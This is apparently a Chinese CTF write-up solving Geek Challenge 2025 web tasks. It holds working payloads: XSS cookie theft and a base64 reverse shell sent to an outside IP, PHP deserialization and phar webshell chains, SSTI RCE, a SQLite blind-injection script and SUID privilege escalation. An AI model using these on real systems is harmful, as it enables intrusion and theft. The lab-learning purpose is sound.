极客大挑战2025

前言

太难了,还是太菜了,赶紧复现一下

Web

阿基里斯追乌龟

知识点:js代码审计

简单的js代码审计

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const payload = {
    achilles_distance: 11111111111.11, // 超过收敛值
    tortoise_distance: 10000000000.00, // 稍微小一点
};

fetch('/chase', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({ "data": encryptData(payload) }),
})
.then(response => response.json())
.then(encryptedResponse => {
    if (encryptedResponse.data) {
        const data = decryptData(encryptedResponse.data);
        console.log("服务器响应:", data);
        if (data.flag) {
            resultDiv.style.whiteSpace = 'pre-wrap';
            resultDiv.textContent = `你追上它了!\n${data.flag}`;
            chaseBtn.disabled = true;
        }
    }
});

image-20251024205039598

Vibe SEO

知识点:sitemap.xml、fd流

界面没有功能点dirsearch扫一下

img

进入后发现可疑文件

img

访问后发现存在变量filename

image-20251204111445642

简单测试发现可以文件读取,并且存在限长。尝试读取自身

image-20251204144216107

发现开了一个fd,我们可以直接读取fd

解析一下文件描述符 (File Descriptor)

一、文件描述符 (fd) 的本质

  1. 核心概念

    • 文件描述符(fd)是操作系统内核分配给每个打开文件的唯一整数标识符
    • 本质是进程文件表(Per-Process File Table)的索引值
    • 所有 I/O 操作(读/写)都通过 fd 与内核交互

    关键特性

    • 内核级持久性:只要进程不关闭 fd,即使原始文件被删除,仍可通过 fd 读取内容
    • 跨权限访问:通过 /dev/fd 访问时绕过文件系统权限检查(依赖进程自身权限)
    • 虚拟文件系统/dev/fd 是内核提供的虚拟接口,不占用实际磁盘空间
1
/dev/fd/xx

然后两位数爆破即可(写的时候一直以为是一位数爆破,真是无语了)

image-20251204145542805

Xross The Finish Line

知识点:过滤xss

一眼xss自己写的字典,看看过滤

image-20251204162427751

也可以用一些完整的payload进行测试,这个302的就是成功执行了的(后面还有很多)

image-20251204160757728

(别问为什么换bp了)

这里有很多195是没被waf,但是没当成js代码嵌入的

image-20251218150252046

找到一个

1
<svg/onload=alert(91)>

image-20251204160843681

然后就可以构造语句打xss了

1
<svg/onload=location=`http://101.201.79.208/`+document.cookie>

xss的waf真挺难过滤的,一直不太懂JS找个时间真要好好搞一下

image-20251218150503344

1
SYC{LMAO}

popself

知识点:双重md5绕过,回调函数调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __set($name, $value){
        echo "他还是没有忘记那个".$value."<br>";
        echo "收集夏日的碎片吧<br>";

        $fox = $this->Fox;

        if ( !($fox instanceof All_in_one) && $fox()==="summer"){
            echo "QYQS enjoy summer<br>";
            echo "开启循环吧<br>";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
    }

    public function __invoke(){
        echo "恭喜成功signin!<br>";
        echo "welcome to Geek_Challenge2025!<br>";
        $f = $this->Samsāra;
        $arg = $this->ivory;
        $f($arg);
    }
    public function __destruct(){

        echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                die("boys和而不同<br>");
            }

            if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                echo "BOY♂ sign GEEK<br>";
                echo "开启循环吧<br>";
                $this->QYQS->partner = "summer";
            }
            else {
                echo "BOY♂ can`t sign GEEK<br>";
                echo md5(md5($this->KiraKiraAyu))."<br>";
                echo md5($this->K4per)."<br>";
            }
        }
        else{
            die("boys堂堂正正");
        }
    }

    public function __tostring(){
        echo "再走一步...<br>";
        $a = $this->_4ak5ra;
        $a();
    }

    public function __call($method, $args){        
        if (strlen($args[0])<4 && ($args[0]+1)>10000){
            echo "再走一步<br>";
            echo $args[1];
        }
        else{
            echo "你要努力进窄门<br>";
        }
    }
}

class summer {
    public static function find_myself(){
        return "summer";
    }
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
    unserialize($payload);
} else {
    echo "没有大家的压缩包的话,瓦达西!<br>";
}

?>

链子挺简单的,中间绕过有点意思,一个是双重md5绕过,一个是调用静态函数

双重md5只能弱比较绕过,0e绕过就行,这里注意要0e开头后面全为数字

脚本就不给了,记录一下可以用的值就行

1
2
3
jdk45GyM   //双md5后值复合

s878926199a

接下来看那个静态函数

这里if条件规定了fox不能是All_in_one的成员变量,然后fox()的值为summer,这里用array('summer', 'find_myself');调用summer类的静态函数就行

1
 if ( !($fox instanceof All_in_one) && $fox()==="summer")

poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php

error_reporting(0);
class All_in_one
{
    public $KiraKiraAyu = "jdk45GyM";
    public $_4ak5ra;
    public $K4per = "s878926199a";
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __set($name, $value){
        echo "他还是没有忘记那个".$value."<br>";
        echo "收集夏日的碎片吧<br>";

        $fox = $this->Fox;

        if ( !($fox instanceof All_in_one) && $fox()==="summer"){
            echo "QYQS enjoy summer<br>";
            echo "开启循环吧<br>";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
    }

    public function __invoke(){
        echo "恭喜成功signin!<br>";
        echo "welcome to Geek_Challenge2025!<br>";
        $f = $this->Samsāra;
        $arg = $this->ivory;
        $f($arg);
    }
    public function __destruct(){

        echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                die("boys和而不同<br>");
            }

            if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                echo "BOY♂ sign GEEK<br>";
                echo "开启循环吧<br>";
                $this->QYQS->partner = "summer";
            }
            else {
                echo "BOY♂ can`t sign GEEK<br>";
                echo md5(md5($this->KiraKiraAyu))."<br>";
                echo md5($this->K4per)."<br>";
            }
        }
        else{
            die("boys堂堂正正");
        }
    }

    public function __tostring(){
        echo "再走一步...<br>";
        $a = $this->_4ak5ra;
        $a();
    }

    public function __call($method, $args){        
        if (strlen($args[0])<4 && ($args[0]+1)>10000){
            echo "再走一步<br>";
            echo $args[1];
        }
        else{
            echo "你要努力进窄门<br>";
        }
    }
}

class summer {
    public static function find_myself(){
        return "summer";
    }
}

$a = new All_in_one();
$a -> QYQS = new All_in_one();
$a -> QYQS -> Fox = array('summer', 'find_myself'); //为什么不能用summer::find_myself()
$a -> QYQS -> komiko = new All_in_one();
$a -> QYQS -> L = "9e9";  //注意是谁的L 是L不是sleep3r是因为L在前就是数组的第一个
$a -> QYQS -> sleep3r = new All_in_one();  //注意是谁的sleep3r
$a -> QYQS -> sleep3r -> _4ak5ra = new All_in_one();
$a -> QYQS -> sleep3r -> _4ak5ra -> Samsāra = "system";
$a -> QYQS -> sleep3r -> _4ak5ra -> ivory = "env";

echo urlencode(serialize($a));

解释一下为什么不能用summer::find_myself()

1
2
3
4
5
array('summer', 'find_myself') 是一个数组形式的可调用结构

'summer::find_myself' 是字符串形式的静态方法调用

但在 __invoke() 中的调用方式 $f($arg) 需要的是一个直接可调用的实体

image-20251218160255758

Expression

知识点:JWT爆破、EJS模板注入

注册后直接爆破JWT,Tscanplus好用

image-20251218162531710

1
key:c2VjcmV0

改成用户名改成admin也没啥作用,但是会显示出来,推测这个是个模板注入,根据题目名Expression猜测应该是nodejs EJS的模板注入

这里讲解一下EJS模板注入

首先是标签,当用户输入<%-<%=时,就会导致SSTI

标签 描述 示例
<% 执行JavaScript代码 <% console.log('test') %>
<%= 输出转义的HTML <%= userInput %>
<%- 输出原始HTML(不转义) <%- userInput %>
<%# 注释 <%# This is a comment %>

可以执行代码就可以尝试rce了,可以rce就可以拿shell

尝试

1
2
3
<%=7*7%>

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjExMUBxcS5jb20iLCJ1c2VybmFtZSI6IjwlPTcqNyU-IiwiaWF0IjoxNzY2MDY1NDU5LCJleHAiOjE3NjY2NzAyNTl9.w_LZjWlV6V458VZCRigQf0IllIcE1A5_BRcqpdHZspw

image-20251219090142500

ls一下

1
<%- global.process.mainModule.require('child_process').execSync('ls /') %>

image-20251219090918394

在env中

1
<%= global.process.mainModule.require('child_process').execSync('env') %>

image-20251219093556353

值得一提的是,EJS模板注入经常于原型链污染一起考,还有过一个历史漏洞,这里打算后续出一道相关题目写一下

one_last_image

知识点:文件上传

怎么tm这么简单,当初写的时候怎么没想着这么写,mime绕一下就行

image-20251219141445803

image-20251219141509724

image-20251219141820240

ez_read

知识点:文件读取绕过、ssti绕过(二开代理脚本)

文件读取的功能点,测试下来可以读取passwd

image-20251219142551380

读不到flag试试读环境变量,读到了奇奇怪怪的东西

image-20251219144622567

拿给ai看看,ai说是存在docker逃逸

/var/run/docker.sock 是Docker守护进程的通信接口,拥有这个socket等同于拥有在宿主机上运行任意容器的权限

但是后来了解到这个docker逃逸应该是先拿下容器的shell,然后进一步拿下运行docker服务的服务器shell,所以这里应该不是这个考点

后来尝试读取源码,这里要多进行尝试。可以从下面这个角度入手,可以发现是将../替换为空了。

image-20251219154952611

1
..././app.py

image-20251219154749061

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
    print(len(payload))
    if not payload:
        return ""
        
    if len(payload) not in (114, 514):
        return payload.replace("(", "")
    else:
        waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
        for w in waf:
            if w in payload:
                raise ValueError(f"waf")

    return payload


@app.route("/")
def index():
    user = session.get("user")
    return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = (request.form.get("username") or "")
        password = request.form.get("password") or ""
        if not username or not password:
            return render_template("register.html", error="用户名和密码不能为空")
        if username in USERS:
            return render_template("register.html", error="用户名已存在")
        USERS[username] = {"password": password}
        session["user"] = username
        return redirect(url_for("profile"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = (request.form.get("username") or "").strip()
        password = request.form.get("password") or ""
        user = USERS.get(username)
        if not user or user.get("password") != password:
            return render_template("login.html", error="用户名或密码错误")
        session["user"] = username
        return redirect(url_for("profile"))
    return render_template("login.html")


@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))


@app.route("/profile")
def profile():
    user = session.get("user")
    if not user:
        return redirect(url_for("login"))
    name_raw = request.args.get("name", user)
    
    try:
        filtered = waf(name_raw)
        tmpl = f"欢迎,{filtered}"
        rendered_snippet = render_template_string(tmpl)
        error_msg = None
    except Exception as e:
        rendered_snippet = ""
        error_msg = f"渲染错误: {e}"
    return render_template(
        "profile.html",
        content=rendered_snippet,
        name_input=name_raw,
        user=user,
        error_msg=error_msg,
    )


@app.route("/read", methods=["GET", "POST"])
def read_file():
    user = session.get("user")
    if not user:
        return redirect(url_for("login"))

    base_dir = os.path.join(os.path.dirname(__file__), "story")
    try:
        entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
    except FileNotFoundError:
        entries = []

    filename = ""
    if request.method == "POST":
        filename = request.form.get("filename") or ""
    else:
        filename = request.args.get("filename") or ""

    content = None
    error = None

    if filename:
        sanitized = filename.replace("../", "")
        target_path = os.path.join(base_dir, sanitized)
        if not os.path.isfile(target_path):
            error = f"文件不存在: {sanitized}"
        else:
            with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
                content = f.read()

    return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=False)

审计源码,发现在 /profile 中存在ssti

image-20251219155401028

发现有waf

1
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]

打武器库的时候发现会报错,搞了很久看wp的时候才发现这里居然还限制长度,要求长度要有114。wnm

1
2
 if len(payload) not in (114, 514):
        return payload.replace("(", "")

很奇怪就是,我用别人的payload打一点用处都没有,于是我干脆用ai写了一个网站转发脚本,然后用fenjing测试自己的这个网站。一方面可以用代码解决限制长度的waf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from flask import Flask, request, Response
import requests
import re
import urllib.parse

app = Flask(__name__)

# 目标URL - 请修改为实际目标
TARGET_BASE = "http://8080-315bfacf-b827-4941-bc8b-1b42394c52ff.challenge.ctfplus.cn/"

@app.route("/")
def forward():
    # 从请求参数中获取name
    name = request.args.get("name")
    
    # 如果没有提供name参数,返回使用说明
    if not name:
        return '''
        <h1>SSTI WAF绕过代理</h1>
        <p>使用方法: /?name=你的payload</p>
        <p>示例: /?name={{config.__class__}}</p>
        <p>fenjing调用: /?name={{config.__class__}}</p>
        '''
    
    try:
        # 处理payload绕过WAF - 填充到114/514长度
        current_len = len(name)
        if current_len not in (114, 514):
            # 选择最接近的目标长度
            target_len = 114 if abs(current_len - 114) < abs(current_len - 514) else 514
            name = name + 'a' * (target_len - current_len)
        
        # 注册和登录
        s = requests.Session()
        password = "1"
        
        # 注册用户(用户名就是payload)
        s.post(f"{TARGET_BASE}/register", 
               data={"username": name, "password": password}, timeout=5)
        
        # 登录
        s.post(f"{TARGET_BASE}/login", 
               data={"username": name, "password": password}, timeout=5)
        
        # 访问profile页面
        r = s.get(f"{TARGET_BASE}/profile", timeout=5)
        
        # 提取"欢迎,"后面的内容
        # 先尝试匹配<div class="rendered">...</div>
        m = re.search(r'<div class="rendered">(.*?)</div>', r.text, re.DOTALL)
        if m:
            content = m.group(1)
        else:
            # 如果没有找到,尝试其他模式
            content = r.text
        
        # 查找"欢迎,"并提取后面的内容
        idx = content.find("欢迎,")
        if idx != -1:
            result = content[idx + len("欢迎,"):].strip()
            # 移除可能存在的HTML标签
            result = re.sub(r'<[^>]+>', '', result)
            return Response(result, content_type="text/plain; charset=utf-8")
        
        return "未找到结果", 404
        
    except Exception as e:
        return f"错误: {str(e)}", 500

if __name__ == "__main__":
    app.run("0.0.0.0", 5000, debug=True)

这真是个很好的思路,因为fenjing会被限制于回显和间接ssti,以后有源码的ssti,都可以二开一次再用fenjing跑一下。无源码的也可自己写脚本,就是有点看代码功底了

image-20251224185707716

flag的时候发现读不到,可能要提权

image-20251225105222489

用find 查找一下拥有root权限的文件

1
find / -user root -perm -4000 -print 2>/dev/null

可以发现有env前面其实也读到了env有提示说要提权

image-20251225110640405

搜一下利用方式

https://gtfobins.github.io/

image-20251225110850753

尝试了下后发现是上面那个

1
/usr/local/bin/env cat /flag

image-20251225111346547

ez-seralize

知识点:文件读取,phar+文件读取

又是一个文件读取题,查看源码有提示是在/var/www/html目录下,那么直接读取index.php

image-20251225140328730

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;

$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
    $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
    foreach ($balcklist as $v) {
        if (strpos($filename, $v) !== false) {
            $error = "no no no";
            break;
        }
    }

    if ($error === null) {
        if (isset($_GET['serialized'])) {
            require 'function.php';
            $file_contents= file_get_contents($filename);
            if ($file_contents === false) {
                $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
            } else {
                $content = $file_contents;
            }
        } else {
            $file_contents = file_get_contents($filename);
            if ($file_contents === false) {
                $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
            } else {
                $content = $file_contents;
            }
        }
    }
} else {
    $error = null;
}

审计发现有一个function.php,当你传入参数serialized的时候,就会包含这个文件,我们当然选择先去读一下,读出来就是一个简单的反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class A {
    public $file;
    public $luo;

    public function __construct() {
    }

    public function __toString() {
        $function = $this->luo;
        return $function();
    }
}

class B {
    public $a;
    public $test;

    public function __construct() {
    }

    public function __wakeup()
    {
        echo($this->test);
    }

    public function __invoke() {
        $this->a->rce_me();
    }
}

class C {
    public $b;

    public function __construct($b = null) {
        $this->b = $b;
    }

    public function rce_me() {
        echo "Success!\n";
        system("cat /flag/flag.txt > /tmp/flag");
    }
}

pop链很好构造,但是问题是,构造出来的pop链并没有unserialize来进行反序列化。根据文件读取,我有想过搞成phar文件然后根据文件读取解析。但是最后生成的文件又该怎么传上去?

继续读取文件获取信息,根据之前源码里的uploads目录,可以找到uploads.php

image-20251225143104623

这道题就显而易见,是通过生成phar文件然后改后缀为zip 上传。最后用phar协议解析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class A {
    public $file;
    public $luo;

    public function __construct() {
    }

    public function __toString() {
        $function = $this->luo;
        return $function();
    }
}

class B {
    public $a;
    public $test;

    public function __construct() {
    }

    public function __wakeup()
    {
        echo($this->test);
    }

    public function __invoke() {
        $this->a->rce_me();
    }
}

class C {
    public $b;

    public function __construct($b = null) {
        $this->b = $b;
    }

    public function rce_me() {
        echo "Success!\n";
        system("cat /flag/flag.txt > /tmp/flag");
    }
}

$a = new B();
$a->test = new A();
$a -> test -> luo = new B();
$a -> test -> luo -> a = new C();



$phar = new Phar('a.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");  // Phar文件头
$phar->setMetadata($a);  // 存储反序列化触发点
$phar->addFromString('test.txt', 'test');  // 必须添加一个文件
$phar->stopBuffering();
?>

成功上传,但是没路径,还是需要看一下文件名是怎么改的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
uploads.php
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
    'txt'  => ['text/plain'],
    'log'  => ['text/plain'],
    'jpg'  => ['image/jpeg'],
    'jpeg' => ['image/jpeg'],
    'png'  => ['image/png'],
    'zip'  => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
    'gif'  => ['image/gif'],
    'gz'   => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];

    if ($file['error'] === UPLOAD_ERR_OK) {
        $originalName = $file['name'];
        $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
        if (!in_array($ext, $whitelist, true)) {
            die('File extension not allowed.');
        }

        $mime = $file['type'];
        if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
            die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
        }

        $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
        $safeBaseName = ltrim($safeBaseName, '.');
        $targetFilename = time() . '_' . $safeBaseName;

        file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

        $targetPath = $uploadDir . $targetFilename;
        if (move_uploaded_file($file['tmp_name'], $targetPath)) {
            @chmod($targetPath, 0644);
            $resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
        } else {
            $resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
        }
    } else {
        $resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
    }
}
?>

好像会保存到log里,读一下

image-20251225150631548

image-20251225151547391

最后用phar协议读一下就行,记得需要有serialized

1
filename=phar://uploads/1766647317_a.zip/test.txt&serialized=1

image-20251225152308269

image-20251225152416890

Sequal No Uta

知识点:sqlite布尔盲注(总结了一下)

测试一下发现空格被ban了,然后布尔盲注成功

image-20251225172040117

1
?name=admin'/**/and/**/length(database())>10--+

database的时候都是否,看来不是mysql,应该是sqlite

这里发现对sqlite的熟悉度不高,学习记录一下。

首先sqlite有一个系统表sqlite_master,这个表存储了数据库的所有元数据(包括表、索引、视图、触发器、虚拟表)

然后对于每一个数据库对象,sql列存储了创建该数据的完整sql语句

也就是说,当我们进行select sql from sqlite_master时,可以读出所有表的创建语句

当然这里如果用name的话,就是可以查找到name对象有关的所有数据(表、视图……)

目的 payload示例 返回结果示例
所有对象名 select group_concat(name) from sqlite_master "users,products,idx_users_name,user_summary"
所有表名 select group_concat(name) from sqlite_master where type='table' "users,products"
表的创建语句 select sql from sqlite_master where type='table' and name='users' "CREATE TABLE users(id INTEGER, name TEXT)"
所有索引名 select group_concat(name) from sqlite_master where type='index' "idx_users_name"

脚本写出来之前,还是要说一下sqlite数据库构造盲注语句有些不一样,好像是不能用ascii吧,反正这样写就没问题

1
admin' AND substr((select group_concat(name) from sqlite_master where type='table'),1,1)>'R'-- 

直接脚本,不多bb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import string

base_url = "http://80-9d6435ea-2452-4aa0-9c9b-fd88c8f6851a.challenge.ctfplus.cn/check.php"

charset = sorted(string.ascii_letters + string.digits + "._{}-,")
result = ""
pos = 1

def test_payload(payload):
    payload = payload.replace(" ", "%0a")
    response = requests.get(base_url, params=payload)
    return "该用户存在且活跃" in response.text      #判断布尔正负的条件

print("=== 开始爆破 ===")

while True:
    left, right = 0, len(charset) - 1
    
    # 二分查找当前位置的字符
    while left < right:
        mid = (left + right) // 2
        ch = charset[mid]
        
        
        payload = f"name=admin' AND substr((select group_concat(name) from sqlite_master where type='table'),{pos},1)>'{ch}'-- "
        #payload = f"name=admin' AND substr((select sql from sqlite_master where type='table' and name='users'),{pos},1)>'{ch}'-- "
        #payload = f"name=admin' AND substr((SELECT group_concat(secret, ',') FROM users),{pos},1)>'{ch}'-- "

        if test_payload(payload):
            left = mid + 1  # 目标字符在右半部分
        else:
            right = mid  # 目标字符在左半部分(包括mid)
    
    # left == right 时找到目标字符
    if left < len(charset):
        result += charset[left]
        print(f"[+] 当前爆破结果: {result}")
        pos += 1
    else:
        print("[*] 爆破结束")
        break

print(f"[*] 表名: {result}")

以此爆破出user表和船舰user表的sql语句

1
2
3
users,sqlite_sequence

CREATE,TABLE,users,,,,,,,,,,,id,INTEGER,PRIMARY,KEY,AUTOINCREMENT,,,,,,,,,,username,TEXT,UNIQUE,NOT,NULL,,,,,,,,,,password,TEXT,NOT,NULL,,,,,,,,,,is_active,INTEGER,NOT,NULL,DEFAULT,1,,,,,,,,,,secret,TEXT

image-20251226145509206

eeeeezzzzzzZip

知识点:include包含恶意phar文件

尝试爆破用户密码无果,dirsearch一下发现了好东西

image-20251226161303237

源码题目必须掏出我的Seay

结构如下(没有结构)

image-20251226161514387

login.php中发现账号/密码(感觉爆破也能爆出来)

admin/guest123

image-20251226161653251

进入后是可以上传zip,这很难不想到phar

phar直接生成木马,然后压缩成gz上传,最后include一下就解决了

直接用以前的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();   //马写在stub里面
$stub = <<<'STUB'
<?php
$filename="/var/www/html/1.php";
$content="<?php eval(\$_POST[1]);?>";
file_put_contents($filename, $content);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);
?>

image-20251226162409643

image-20251226162804226

百年继承

知识点:原型链污染

把玩一下,发现在2的时候可以传一个json,这tm一看就是原型链污染吧

image-20251226163530055

image-20251226163527061

寻找一下源码,原型链污染应该不至于是黑盒。

还真是,只知道是py的原型链污染

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
事件:上校使用 spear,采取 ambush 策略。世界线变动...
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...
处决成功
时间流逝:结局:命运如沙漏般倾泻……

额,看wp,然后自己推了一下

首先这是人类自古以来就拥有的execute_method属性...代表着这是我们要污染的属性

上校继承于他的父亲,他的父亲继承于人类代表我们需要两个base来指向execute_method

然后我们需要理解一下

lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')

这短代码就是创建了一个匿名函数executor

函数体是一个元组,包含三个操作,按顺序执行:

  1. target.__del__() 调用 target 对象的 __del__ 方法。
    • __del__ 是 Python 对象的析构方法,在对象被销毁时自动调用,但这里直接显式调用它(通常不推荐这样做,因为它不会真正销毁对象,只是执行其中定义的清理逻辑)。
  2. setattr(target, 'alive', False)target 对象的 alive 属性设置为 False
    • 这表示将目标标记为“死亡”。
  3. '处决成功' 返回字符串 "处决成功"
    • 由于整个函数体是元组,lambda 的返回值是这个元组 (None, None, '处决成功')(因为前两个操作返回 None)。
1
2
3
4
5
6
7
8
{"__class__":{
        "__base__":{
            "__base__":{
                "execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True))"
            }
        }
    }
}

可以看到处决异常,说明成功了。因为我把本来要回显的值除掉了

image-20251226172410086

我们尝试修改匿名函数

1
2
3
4
5
6
7
8
{"__class__":{
        "__base__":{
            "__base__":{
                "execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True),__import__('os').popen('env').read())"
            }
        }
    }
}

image-20260105143201938

路在脚下/路在脚下_revenge

知识点:无回显ssti(有总结)

简单尝试,发现是有waf的ssti,而且无回显

image-20260105143522275

无回显ssti一般有几种做法

  • 反弹shell
  • 内存马、挂载静态目录、覆盖app.py
  • 回显在响应包中

这道题里都写一下

不过写做法之前,得先把黑盒测出来,我的waf字典就测出来俩。

image-20260105151021934

武器库里找到url_for是可以利用的

1
{{url_for["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]()}}

image-20260105215636413

那么我们只需要改变一下命令执行部分

1
{{url_for["__globals__"]["o""s"]["pop"+"en"]("bash${IFS}-c${IFS}\'{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjIwMS43OS4yMDgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}\'")["re""ad"]()}}

image-20260105152840612

再来试试内存马,我自己的payload一直打不进去,真是伤心,之前还花了很多时间学内存马。

不推荐打ssti的时候用内存马,因为有waf的话,真的很难排出来

这里还推荐一种新方式,就是利用http头回显

